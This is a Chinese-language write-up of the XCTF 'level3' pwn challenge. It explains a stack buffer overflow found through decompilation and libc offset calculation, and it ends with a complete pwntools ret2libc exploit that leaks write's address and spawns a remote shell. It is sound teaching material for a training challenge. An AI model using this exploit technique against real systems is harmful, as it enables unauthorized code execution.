攻防世界PWN题 level3
下载后发现题目的附件是一个 32 位可执行文件 level,以及一个 32 位的 libc 运行库
接下来使用 checksec 来查看 elf 文件开启了哪些保护,可得到如下内容:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
执行一下来看效果,发现其基本流程如下
Input:
<获取输入>
Hello, World!
放到 ida 里反汇编得到如下结果
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
发现可以函数 vulnerable_function ,继续查看其反汇编代码
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
通过前面的 checksec 可以发现并没有开启 canary ,同时 read 的第三个参数大于 buf 的大小,可知这里存在栈溢出的漏洞,检查一下文件并没有发现输出 flag 的逻辑,那么题目的目的应该是获取 shell
要获取 shell ,首先想到的是找 system 的地址,然后通过 vulnerable_function 函数中的栈溢出漏洞来修改返回地址为 system 的地址,从而劫持程序运行流,但是程序中并没有调用 system 函数,也没有诸如 “/bin/sh” 之类的字符串,所以只能从附件中的另一个文件下手,这是一个运行库文件,我们的目的是要通过它来获得两者的地址。
这里假设读者有 got 和 plt 相关的知识,如果不了解请自行搜索学习;或者从一个不太严谨的角度来看的话,对这道题而言我们只需要记住这几点:
- 我们将会从 got 中获得库函数(write 和 read 函数)的地址
- 我们将会用 plt 来调用它们
- 如果系统开启了 ASLR ,那么每次库的加载地址都不同,因此库函数的地址也不同
- 尽管开启了 ASLR ,库函数中字符串常量和函数之间的相对位置也是确定的
只要知道了这四点,理解下面的 exp 就没什么问题了
我们可以通过对 libc 进行 checksec 检查,发现它是开启了 pie 的,而现代操作系统一般都开启了 ASLR ,所以库函数在每次运行时都会被加载到不同的位置,但是正如上面的第四点所说,由于函数间的相对位置是确定的,那么只要能知道其中一个函数的真正地址,我们就可以计算出任意库函数的地址,这里我们的目标是从 got 中获取 write 函数的地址,所以要获得的是 system 和 "/bin/sh" 与它的相对位置,具体方法如下
-
首先要获得 write 和 system 的相对位置,由于库文件本质上是一个位置无关的 elf (你甚至可以运行它),所以可以使用 readelf 工具来查看它的信息,readelf 有一个选项 -s 可用于输出符号表,结合 grep 工具和管道可以用来查找两个函数的位置,具体命令为
readelf -s libc_32.so.6|grep 函数名
,运行两次命令,函数名分别换成 write 和 system,在输出中寻找write@@GLIBC_2.0
和system@@GLIBC_2.0
,用 system 的第二列减掉 write 的第二列得到相对位置 -0x99a80 -
或者也可以使用 pwntools ,运行如下脚本来获得同样的值
from pwn import * elf = ELF(libc_32.so.6 相对于 py 文件的位置) print(hex(elf.symbols['system']-elf.symbols['write']))
理由同第 1 点,这里不再做解释
-
然后要获得字符串 "/bin/sh" 相对于 write 的位置,可以使用 strings 工具来执行
strings -at x libc_32.so.6|grep /bin/sh
来获得字符串的地址,或者使用 ROPgadget 工具来执行ROPgadget --binary libc_32.so.6 --string "/bin/sh"
命令,两个工具的使用方式这里不做介绍;拿到地址后,减掉 write 的地址获得相对位置 0x84c6b
如前所述,我们将会通过 got 来获得 write 的地址,并通过 plt 来调用它,所以针对前面的栈溢出漏洞可以构造 payload 为 b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(10)
这样就调用了 write 来输出它的地址,其中从 p32(1) 开始为 write 的三个参数
但是这样还不够,我们之前说,由于开启了 PIE 和 ASLR ,库函数每次的地址都会改变,所以这次获得的地址在下一次运行时就没有意义,为此我们需要在获得函数地址后控制程序的执行流,让它回到 read 的地方,从而使我们能够输入另一条 payload 来获得 shell;不过其实回到 main 也可以,所以上面 b'0000' 的部分需要被改为 p32(elf.symbols['main'])
,关于为什么这里 payload 的格式是这样的,不明白的小伙伴可以看我的另一篇博客最后的部分
这样以后,我们通过 u32(p.recv()[:4])
即可获得 write 的地址,u32 可以看作是 p32 的逆操作,它的参数 p.recv()[:4] ,是取输出的前 4 个 byte,因为在 32 位程序中,地址只需要 4 个 byte 来表示
获得 write 的地址后,我们可以根据上面计算得到的相对地址获得 system 和 “/bin/sh” 的地址,从而构造第二个 payload 为
b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b)
,这里我们只关心获得的 shell ,因此返回地址就写 0000 了
总结一下,可得到 exp 如下
from pwn import *
p = remote(远程ip, 远程端口)
elf = ELF(level3 相对于 py 文件的位置)
payload = b'0'*0x8c+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['write'])+p32(10)
p.recv()
p.sendline(payload)
write_addr = u32(p.recv()[:4])
payload = b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b)
p.sendline(payload)
p.interactive()
获得 shell 后,ls 命令来查看当前目录,发现 flag 文件,用 cat 来获得内容即可